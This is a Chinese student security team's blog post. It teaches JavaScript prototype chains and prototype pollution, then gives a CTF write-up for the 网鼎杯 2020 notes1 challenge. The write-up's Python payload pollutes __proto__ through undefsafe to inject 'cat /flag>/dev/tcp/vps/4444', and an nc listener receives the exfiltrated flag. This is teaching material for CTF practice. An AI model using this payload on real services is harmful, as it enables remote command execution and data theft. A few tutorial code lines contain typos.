师傅们关注一波,谢谢
HashRun安全团队是由本地学生自发组织的团队,团队方向:CTF,渗透测试,安全研究,二进制,算法,漏洞挖掘
B站:https://space.bilibili.com/1164102675
团队今年6月低正式运营
javascript基础
文章参考《javascript权威指南》
javascript是一个面向对象的语言到但是并没有class和对象的区分,class只是javascript中的一个关键字。
每个JS对象一定对应一个原型对象,并从原型对象继承属性和方法,在javascript要实现继承的关系全靠一个叫"原型链"的模式来实现的。
先来看下js如何创建对象
在js中new后面并不是跟的类,而是构造函数。
例如有一个person的构造函数,表示人的原型。
function person(name,age){
this.name = name;
this.age = age;
}
对于这个构造函数我们使用new就可以生成一个人的对象实例。
var person1= new person('p1',1);
console.log('name:'+person1.name + ' age:'+ person1.age); //name:p1 age:1
使用new运算符的缺点
使用构造函数生成实例对象,有一个缺点,就是无法共享属性和方法。
例如在person对象中的构造函数设置一个共享的属性species
function person(name){
this.name = name;
this.species = '人类';
}
然后生成两个实例对象
var person1 = new person('p1',1);
var person2 = new person('p2',2);
在这两个实例对象中species属性是互相独立的,修改其中的一个并不会影响到另一个。
person1.species = '动物';
consolep.log(person2.species); //人类
这样看并没有做到数据共享,对资源也是一种浪费。
引入prototype
为了解决这个问题,就给构造函数设置了prototype属性。
这个属性包含了一个对象,所有实例对象需要共享的属性和方法都存放在这个对象里面,而不需要共享的则放在构造函数里面。
例如
function person(name,age){
this.name = name;
this.age = age;
}
person.prototype = { species : '人类' };
var person1= new person('p1',1);
var person2= new person('p2',2);
console.log(person1.species); // 人类
console.log(person2.species); // 人类
通过这个例子看到species属性是放在prototype中的,所以它是一个共享属性,同时会影响到person所有的实例对象。
person.prototype.species = '动物';
console.log(person1.species); // 动物
console.log(person2.species); // 动物
我们发现属性是共享的,对于实例对象来说好像是继承了prototype对象一样。
接着往下看。
引入__proto__
添加一个共享方法
function person(name,age){
this.name = name;
this.age = age;
}
person.prototype.log = function(){
console.log('name:'+person1.name+',age:'+ person1.age);
}
var person1= new person('p1',1);
var person2= new person('p2',2);
person1.log(); //p1,1
person2.log(); //p2,2
我们发现都调用共享方法log方法,如果我们此时修改log方法会发现所有实例对象都会一并影响到。
上面这些例子都是对象存在prototype属性可以使用的,那么这其中的原理是什么呢?
例如:
var person1 = new person('p1',1);
我们去调用person1.log()时,person1这个对象并没有log()这个方法,但是他又是怎么样找到log()这个方法的呢?
按照javascript的运行机制来说,person1属于person的一个实例对象,所以如果person1找不到log,那么就回去person.prototype这里来找,那么又是怎么样让person1和person.prototype连接到一起呢?
所以javascript引入了__proto__
例如
function person(name,age){
this.name = name;
this.age = age;
}
person.prototype.log = function(){
console.log('name:'+person1.name+',age:'+ person1.age);
}
var person1= new person('p1',1);
console.log(person1.__proto__==person.prototype); //结果为true
person1的__proto__会指到person.prototype,所以在person1在没有找到log时就会通过__proto__往person.prototype中寻找。
那么如果person.prototype中也没有log方法时怎么办呢?同样也是通过person.prototype.__proto__寻找,以此类推,不断的通过__proto__网上寻找,直到某一次__proto__指到null为止。
这样串起来的一条链,就叫做原型链,**通过这样的逻辑方法可以实现类似继承的功能。
为了更好的理解演示下面的代码
function person(name,age){
this.name = name;
this.age = age;
}
person.prototype.log = function(){
console.log('name:'+person1.name+',age:'+ person1.age);
}
var person1= new person('p1',1);
console.log(person1.__proto__==person.prototype); //结果为true
console.log(person.prototype.__proto__==Object.prototype); //true
console.log(Object.prototype.__proto__); //null
原型链污染
我们在上面实验很多例子,都会发现person.__proto__指向的是person的prototype。那么同样的我们修改perosn.proto__中的值,也就能够修改person类。
var p={age:3}; //定义一个简单的对象p
console.log(p.age); //3
p.__proto__.age=11; //修改p的原型Object
console.log(p,age); //由于原型链查找的顺序还是为3
p1={}; //用Object创建一个空的p1对象
console.log(p1.age); //11
因为我们前面修改了p.__proto__.age=11 而p是一个Object类的实例,所以就其实是修改了Object这个类。
然后我们又使用Object创建了一个p1的空对象,那么p1也就有了age这个属性。
我这里只演示对象被污染的情况,同样的function,string,数组都会被污染
所以当攻击者修改一个对象的原型后,那么可以影响和这个对象来自同一个类 父类的对象,这个攻击方式就叫做原型链污染。
题目演示
[网鼎杯 2020 青龙组]notes1:
漏洞点存在/status路由,exec导致了任意代码执行,所以我们只要能够污染到commands字典添加一个命令执行得命令即可。
再看下传参路由
可以传送三个参数id author enote
undefsafe函数在2.03版本下会产生漏洞
参考:https://github.com/remy/undefsafe
传入后会将参数写入note_list,edit_note函数通过 undefsafe 直接将 id.author 与 id.raw_note 解压到 this.note_list
又因为note_list得基本类型是{}也就是Object
当 note_list 的 __proto__ 不存在时,
会递归到 note_list 所继承的 Object 属性上去寻找 __proto__,
那么此时, 假如传进来的 id 是 __proto__, 将会导致 this.note_list 的基本类型, 也就是 Object 的属性 __proto__ 被污染, 在 Object 的 __proto__ 属性上新增了 author 与 raw_note 属性.
而我们在上面演示过去污染一个Object,所以这个题目也一样得步骤方法
现在整条利用链都分析清楚了
payload:
import json
import requests
s = requests.session()
data={
'raw':'a',
'id':'__proto__',
'author':'cat /flag>/dev/tcp/vps/4444'
}
url='http://地址/'
r=s.post(url+'edit_note',json=data)
print(r.text)
r=s.get(url+"status")
print(r.text)
vps:nc -lvvp 4444
团队官方群:
原文始发于微信公众号(是恒恒呐):JS原型链污染
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论